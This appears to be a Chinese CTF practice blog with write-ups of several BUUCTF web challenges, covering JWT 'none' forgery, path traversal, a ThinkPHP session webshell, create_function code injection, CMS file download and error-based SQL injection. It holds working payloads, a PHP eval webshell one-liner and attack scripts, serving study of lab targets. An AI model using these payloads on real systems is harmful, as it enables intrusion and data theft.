BuuCTF做题记录_7

初学者的一些做题记录


[HFCTF2020]EasyLogin

hfctf2020ezlogin1

源码中存在/static/js/app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

能正常访问,初步猜测是源码泄露?

有关koa-static的目录结构,参考:(https://blog.csdn.net/fmyyy1/article/details/115674235)

hfctf2020ezlogin2

app.js/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

不是很懂为啥去访问controllers/api.js。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

先看对用户名的限制部分:

1
2
3
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

这里规定username不能为空或不能强等于admin,否则会抛出一个异常。

JWT的构造部分:

1
2
3
4
5
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

简单说就是随机生成一串十六进制字符串,然后把它的长度赋值给secretid。第三行就是去生成JSON Web Token

hfctf2020ezlogin3

1
2
3
4
5
6
7
8
9
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

这部分先去寻找token所在的位置,然后从token中解析出sid并打印出来。注意最后的if判断语句:如果sid未定义/为空/(0<=sid<=global.secrets.length为假)那么就会抛出一个异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}


'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

会话对象中username需要是admin,前面做了JWT所以猜测要修改JWT的对应字段达到目的,最终读取FLAG

有关JWT的内容可以参考这位师傅的文章:[JSON Web Token(JWT)原理及用法 | 信安小蚂蚁 (gitee.io)](https://mayi077.gitee.io/2020/05/19/JSON-Web-Token(JWT)原理及用法/)

现在解题思路就清晰了:注册 –> 修改JWT使其验证的usernameadmin –> 登录

先注册一个test用户看看这个JWT

hfctf2020ezlogin4

放这个网站解密:[JSON Web Tokens - jwt.io](https://jwt.io/)

hfctf2020ezlogin5

首先我们要修改username字段为admin。然后注意:

1
2
3
const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

global.secrets 数组中获取指定索引 sid 处的元素,然后将其赋值给 secret 变量。jwt.verify() 方法接受三个参数:要验证的 token、密钥 secret 和一个包含选项的对象。在这里,选择了 algorithm: 'HS256',表示使用 HMAC-SHA256 算法进行验证。

所以不能只考虑更换username字段值,就算改了签名那里过不了验证也是白搭。

首先是对于加密方式的利用:

hfctf2020ezlogin6

但只改成none没啥用(验证时还是指定了算法为HS256)

用的是 HS256加密,但经过测试发现,当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。

具体原理可以参考赵师傅的博客:[虎符 CTF Web 部分 Writeup – glzjin (zhaoj.in)](https://www.zhaoj.in/read-6512.html),师傅讲的非常详细我就不写了,贴张比较重要的图:

hfctf2020ezlogin7

现在我们需要把secret密钥置空,看下这东西怎么来的:

1
const secret = global.secrets[sid];

global.secrets 数组中获取索引为 sid 的元素

sid

1
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
1
2
const secretid = global.secrets.length;
global.secrets.push(secret)

通过修改 secretid,使其无法作为全局变量 secrets 数组的索引,那么 secret 就会为空了。当然这东西也不能乱改:

1
2
3
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

hfctf2020ezlogin8

同样参考了赵师傅的博客,可以看到令sid为一个空数组时,a[sid]undefined

JavaScript 是一门弱类型语言,空数组与数字比较永远为真

当然这里用"0e啥的"绕过也可以(不同类型进行比较时也会有类型转换)

生成token(当然这里也能自己手动改):

1
2
3
4
5
6
7
8
9
10
11
import time
import jwt

info = {'iat': int(time.time()),
"secretid": "0e123",
"username": "admin",
"password": "admin"}

token = jwt.encode(info,key="",algorithm="none")

print(token)

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpYXQiOjE3MDI4MDE4NTgsInNlY3JldGlkIjoiMGUxMjMiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9.

hfctf2020ezlogin9

登录GetFlag

hfctf2020ezlogin10

[网鼎杯 2020 半决赛]AliceWebsite

AliceWebsite1

注意URL:/index.php?action=home.php

给了个压缩包:

AliceWebsite2

DSSTORE文件里没啥东西:

AliceWebsite3

index.php:

1
2
3
4
5
6
7
8
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>

没有任何过滤的任意文件包含,注意这里会先进行file_exists,所以伪协议不要想了。

etc/passwd能读:

AliceWebsite5

目录穿越读flag:/index.php?action=../../../flag

[GYCTF2020]EasyThinking

www.zip:里面有个README.md

gyctf2020EasyThinking1

搜了下thinkphp6有什么洞:

[Thinkphp < 6.0.2 session id未作过滤导致getshell - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/7109)

主要就是由于程序未对session id进行危险字符判断,只要将session id写为类似于xxxx.php的格式,即可导致session保存成.php文件,从而getshell。

app/home/controler下存在member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
namespace app\home\controller;

use think\exception\ValidateException;
use think\facade\Db;
use think\facade\View;
use app\common\model\User;
use think\facade\Request;
use app\common\controller\Auth;

class Member extends Base
{

public function index()
{
if (session("?UID")) //
{
$data = ["uid" => session("UID")];
$record = session("Record");
$recordArr = explode(",", $record);
$username = Db::name("user")->where($data)->value("username");
return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]);
}
return view('member/index',["username" => "Are you Login?","record_list" => ""]);
}

public function login()
{
if (Request::isPost()){
$username = input("username");
$password = md5(input("password"));
$data["username"] = $username;
$data["password"] = $password;
$userId = Db::name("user")->where($data)->value("uid");
$userStatus = Db::name("user")->where($data)->value("status");
if ($userStatus == 1){
return "<script>alert(\"该用户已被禁用,无法登陆\");history.go(-1)</script>";
}
if ($userId){
session("UID",$userId);
return redirect("/home/member/index");
}
return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>";

}else{
return view('login');
}
}

public function register()
{
if (Request::isPost()){
$data = input("post.");
if (!(new Auth)->validRegister($data)){
return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>";
}
$data["password"] = md5($data["password"]);
$data["status"] = 0;
$res = User::create($data);
if ($res){
return redirect('/home/member/login');
}
return "<script>alert(\"注册失败\");history.go(-1)</script>";
}else{
return View("register");
}
}

public function logout()
{
session("UID",NULL);

return "<script>location.href='/home/member/login'</script>";
}

public function updateUser()
{
$data = input("post.");
$update = Db::name("user")->where("uid",session("UID"))->update($data);
if($update){
return json(["code" => 1, "msg" => "修改成功"]);
}
return json(["code" => 0, "msg" => "修改失败"]);
}

public function rePassword()
{
$oldPassword = input("oldPassword");
$password = input("password");
$where["uid"] = session("UID");
$where["password"] = md5($oldPassword);
$res = Db::name("user")->where($where)->find();
if ($res){
$rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]);
if ($rePassword){
return json(["code" => 1, "msg" => "修改成功"]);
}
return json(["code" => 0, "msg" => "修改失败"]);
}
return json(["code" => 0, "msg" => "原密码错误"]);
}

public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}
}

主要就是下面这几点:

session文件,一般位于项目根目录下的./runtime/session/文件夹下,也就是/runtime/session/sess_叉叉叉.php(注意这里名+.php要满足32个字符)

1
2
3
4
5
6
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}

post$data,然后把它保存到session中键record对应的值

1
2
3
if (Request::isPost()){
if (!session('?UID'))
{

给key传个一句话:<?php @eval($_POST['a']);?>,然后访问目标文件(按理说会有两个键值对:uid和key):

/runtime/session/sess_1234567890123456789012345678.php

easyyyyyyyythingking5

没问题,先看环境变量里是否有flag:有,不过是假的:

easythinking6

蚁剑连接:

easythingking7

flag没法读(估计是禁用了大量函数,phpinfo的disable_functions里可以看到。想到之前极客大挑战里做过类似的,蚁剑提供了绕过功能:

easythinking9

[BJDCTF2020]EzPHP

bjdctfezphp1

看源码,注意红框:

bjdctfezphp2

大写字母加数字组合,等号结尾,看着像base家族的但不是base64?base32解码得到:1nD3x.php,访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

第一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

首先是$_SERVER这个超全局变量:

bjdctfezphp3

有服务器信息能访问时它就为真,接下来是$_SERVER['QUERY_STRING']这东西:存储当前请求的查询字符串部分。查询字符串是 URL 中问号后面的部分,通常用于向服务器传递参数。不过注意这东西不会URLDecode

比如对于这个URL:

1
2
3
4
5
https://example.com/page.php?id=123%20name=John

$_SERVER['QUERY_STRING'] 为 id=123%20name=John

$_GET['name'] 为 John Doe

第一个正则bandebu,aqua,cute啥的,但接下来的正则匹配很明显要给debu赋值。所以这里把过滤的字符URL编码一下就行。

第二个正则:preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')

这里令?debu=aqua_is_cute%0a就行,因为非多行模式下$这个东西似乎会忽略在句尾的%0a

第二部分:

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST 超全局变量包含了 $_GET$_POST$_COOKIE 超全局变量的合集。这里会遍历每个字符然后过正则匹配(过滤了所有大小写字母)。

假如我们get传一个a,post也传一个a,那么$_REQUEST[a] 会是谁的值呢?

这取决于你的php.ini中的variables_order的设置,默认为:

1
variables_order = "GPCS"

它们的顺序决定了 PHP 在处理超全局变量时的优先级。例如,如果 variables_order = "GPCS",那么 PHP 会先将 $_GET 的值转换为全局变量,然后是 $_POST,接着是 $_COOKIE,最后是 $_SESSION

也就是说,他先取了get的值然后判断有没有post的值有的话就覆盖掉。那么我们只需要将要get传入的参数post传一遍非字母的就行。

第三部分:

1
2
3
4
5
6
7
8
9
10
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这部分很简单,file_get_contents的判断我们直接利用data伪协议写debu_debu_aquafile里就好。

data://text/plain,debu_debu_aqua

接下来是两个哈希强等于,直接数组绕过就行:

$shana[]=1&$passwd[]=2

extract($_GET["flag"]);:进行变量覆盖。

第四部分:

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

这部分不会做。。查了wp发现这东西叫create_function代码注入,比如:

1
2
3
4
5
//createwhat.php,注意这玩意儿在7.2及7.3以上都没法用了
//这东西最大的特点就是在内部对第二个参数执行eval
<?php
$func = create_function('$a, $b', 'return($a+$b);');
print_r($func(1,2));

bjdctfezphp4

回显了3,实际上func这东西就相当于:

1
2
3
4
function func($a, $b)
{
return ($a+$b);
}

这时我们令$b =1);}phpinfo();/*,执行的会是什么呢?:

1
2
3
4
5
function func($a, $b)
{
return ($a+1);}phpinfo();/*;
}

比如对于这段代码:

1
2
3
4
5
6
7
8
9
10
<?php
$id=$_GET['id'];
$str2='echo $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>

bjdctfezphp5

payload?id=;}phpinfo();/*

bjdctfezphp6

1
2
3
4
5
6
7
8
9
原函数:
function fT($a){
echo $a."test".$id;
}

代码注入后:
function fT($a){
echo $a."test";}phpinfo();/*;
}

所以对于$code('', $arg); 这东西,我们可以利用create_function来执行命令。

1
preg_match('/^[a-z0-9]*$/isD', $code)

这东西意思是只匹配大小写字母和数字,要是存在其它的就返回falsecreate_function正好存在_。令flag[code]=create_functioncreate_function('',$arg),这东西就相当于:

1
2
3
function lambda(''){
$arg
}

我们可以通过利用$arg闭合{然后进行命令执行,比如arg=}func();//

1
2
3
function a('',$arg){
return }func();//
}

由于存在include"flag.php",可以利用var_dumpget_defined_vars()将所有变量和值输出(假设flag.php中定义了$flag=xxxx之类的)

梳理下截至到目前的payload:

1
2
3
4
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

POST传file=1&debu=2

注意$_SERVER['QUERY_STRING']),把这东西URL编码一下(file和=不用编码,没过滤):

1
2
3
4
//一般不会对字母进行URL编码,如果编码的话就是对应十六进制表示然后前面的0x换成百分号
1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

POST传file=1&debu=2

bjdctfezphp7

现在要想办法读rea1fl4g.php,不过还是要注意前面$_SERVER['QUERY_STRING']和正则匹配的限制。

可以用require去读,但限制了con,fil啥的,考虑取反绕过:

1
2
3
4
5
6
7
8
9
10
//参考https://www.shawroot.cc/815.html
<?php
$str = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p";
$arr1 = explode(' ', $str);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";
?>
1
~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)

最终payload

1
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

bjdctfezphp9

然后解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{870ae629-6309-425c-a5e6-22fbe7cc08fc}";
unset($rea1_f1114g);

[GKCTF 2021]easycms

提示:后台密码5位弱口令

![GKCTF 2021easycms1](img/GKCTF 2021easycms1.png)

登录页面一直点不了。。也没啥提示,看了wp发现有这么个界面:
admin.php

![GKCTF 2021easycms3](img/GKCTF 2021easycms3.png)

注意这个URLadmin.php?m=user&f=login&referer=L2FkbWluLnBocA==,解码后是/admin.php

用户名admin,密码12345

设计 - 主题 - 自定义 - 存在导出文件的功能

![GKCTF 2021easycms6](img/GKCTF 2021easycms6.png)

![GKCTF 2021easycms7](img/GKCTF 2021easycms7.png)

导出后会下载一个zip文件,抓包看看:

注意这里的URL:L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvYS56aXA=

![GKCTF 2021easycms4](img/GKCTF 2021easycms4.png)

解码:/var/www/html/system/tmp/theme/default/a.zip

存在任意文件下载功能?theme直接换成/flagbase64L2ZsYWc=

注意下载的是压缩包,后缀改成txt再打开就行。

![GKCTF 2021easycms5](img/GKCTF 2021easycms5.png)

第二种方法:

设计 - > 高级 -> 编辑 这里至此自定义,比如:

easycms1

但不能直接保存,会提示我们需要创建一个文件:

easycmms2

如果想自定义就要去创建这样一个文件:/var/www/html/system/tmp/xspg.txt

设计 -> 组件 -> 素材库这里支持上传文件:

easycms3

注意他这个存储路径,存在目录穿越:

easycms4

文件不用加后缀,目录穿越多试几次就行,如果目录不对他自己会提示fail

[GXYCTF2019]StrongestMind

StrongestMind1

源码没啥提示,直接抓包看看:

StrongestMind2

把结果明文传过去的,POST answer=xxxx

脚本不会写直接抄的这位师傅的:https://blog.csdn.net/shinygod/article/details/124141957

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import time

url="http://4dd9922c-9934-46da-83e8-49992b7b6ffd.node4.buuoj.cn:81/"
session = requests.session()
req = session.get(url).text
flag = ""

for i in range(1010):
try:
result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>",req)#获取[数字]
result = "".join(result)#提取字符串
result = eval(result)#运算
print("time: "+ str(i) +" "+"result: "+ str(result))

data = {"answer":result}
req = session.post(url,data=data).text
if "flag{" in req:
print(re.search("flag{.*}", req).group(0)[:50])
break
time.sleep(0.1)#防止访问太快断开连接
except:
print("[-]")

StrongestMind3

[RCTF2015]EasySQL

随便注册了个账号,发现这东西有修改密码的功能。

rctf2015zesysql1

初步猜测二次注入。二次注入这东西个人理解就是在获取用户输入的过程中只简单设置了转义(比如在单引号前面加个\),然后用户通过某个功能将恶意数据取出并利用。

admin用户不给注册,估计是要以admin身份登录然后拿flag。不知道这个用户名是怎么闭合的,输个admin‘#注册一下:

rctf2015zesysql2

然后修改密码,这时如果它后端改密码的逻辑是类似这种:

1
update users set password='$new_pass' where username='$user' and password='$old_pass';

我们把用户名admin'#放进去:

1
update users set password='$new_pass' where username='admin'  # and password='$old_pass';

可以看到实际修改的是admin的密码。当然这个闭合不一定是单引号,需要试。

试到双引号终于出了点东西(这里我注册的是admin"--+):

rctf2015zesysql3

但报错了?

pwd这个字段存的应该是旧密码的md5(可以自己换然后看回显。)报错原因估计就是用户名闭合的问题,可以注册一个"admin"看看:

rctf2015zesysql4

注意这个admin"",所以用户名用双引号闭合的。而且出错会有回显?考虑报错注入:

1
2
1"&&(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
空格被过滤了,用括号替换

rctf2015zesysql5

1
1"&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

rctf2015zesysql6

后面就不详细写了,flag表下有flag字段:

1
1"&&(updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1))#

rctf2015zesysql7

他🐎的,只能再看别的表:user

1
1"&&(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='user')),0x7e),1))#

rctf2015zesysql8

没显示完全,updatexml这东西只显示32。可以利用reverse

1
1"&&(updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='user'))),0x7e),1))#

rctf2015zesysql9

???他妈的我说怎么不对我把users打成user了,我真傻逼

1
1"&&(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#

rctf2015zesysql10

reverse一下看后面有没有:

1
1"&&(updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1))#

rctf2015zesysql11

real_flag_1s_here字段:

1
1"&&(updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)),0x7e),1))#

rctf2015zesysql12

这东西返回了不止一行。。正则匹配下带有flagRCTF的字段就行,正则的语法类似这种:

1
2
3
SELECT Name
FROM Products
WHERE Name REGEXP 'XXXXX';

所以:

1
1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag'))),0x7e),1)#

去掉reverse再看,然后拼起来就行。

[GYCTF2020]Ezsqli

唉,孙笑川,晦气啊。

GYCTF2020Ezsqli1

先看怎么闭合的1'#

GYCTF2020Ezsqli2

初步猜测布尔盲注,尝试1#

GYCTF2020Ezsqli3

数字型注入

GYCTF2020Ezsqli5

FUZZ一下看看都过滤了啥:

我用的是这个字典,可以参考一下(用burpsuite FUZZ的话记得设置一下间隔,也就是Fixed参数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
